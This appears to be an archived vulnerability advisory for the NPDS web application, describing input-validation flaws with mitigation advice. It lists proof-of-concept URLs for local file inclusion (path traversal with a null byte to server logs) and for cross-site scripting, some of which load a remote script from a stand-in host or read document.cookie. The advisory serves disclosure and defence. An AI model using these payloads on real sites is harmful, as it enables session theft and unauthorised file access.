NPDS Multiple Input Validation Vulnerabilities

vendor:

NPDS

by:

SecurityFocus

7.5

CVSS

HIGH

Information Disclosure and Cross-Site Scripting

20, 79

CWE

Product Name: NPDS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

NPDS Multiple Input Validation Vulnerabilities

NPDS is prone to multiple input-validation issues, including information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Local file-inclusion and cross-site scripting vulnerabilities are demonstrated in the examples provided.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to execute unintended commands or access sensitive data. Sanitize user-supplied input to prevent malicious code from being executed.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/18383/info

NPDS is prone to multiple input-validation issues, including information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.

Local file-inclusion: 
http://www.example.com/header.php?Default_Theme=../apache/logs/error.log%00 http://www.example.com/modules/cluster-paradise/cluster-E.php?ModPath=../../../../../apache/logs/error.log%00 
Cross-site scripting: 
http://www.example.com/header.php?Titlesitename=</title><script>alert(document.cookie)</script> http://www.example.com/header.php?sitename="><script>alert(document.cookie)</script> 
http://www.example.com/meta/meta.php?nuke_url="><script>alert(document.cookie)</script> 
http://www.example.com/viewforum.php?forum=2"><script src=http://www.example2.com/xss.js> 
http://www.example.com/editpost.php?forum=1&post_id=888"><script src=http://www.example2.com/xss.js> http://www.example.com/editpost.php?forum=1"><script src=http://www.example2.com/xss.js> http://www.example.com/editpost.php?forum=1&topic="><script src=http://www.example2.com/xss.js> http://www.example.com/editpost.php?forum=1&arbre="><script src=http://www.example2.com/xss.js> http://www.example.com/user.php?op=only_newuser&uname="><script src=http://www.example2.com/xss.js> http://www.example.com/user.php?op=only_newuser&email="><script src=http://www.example2.com/xss.js>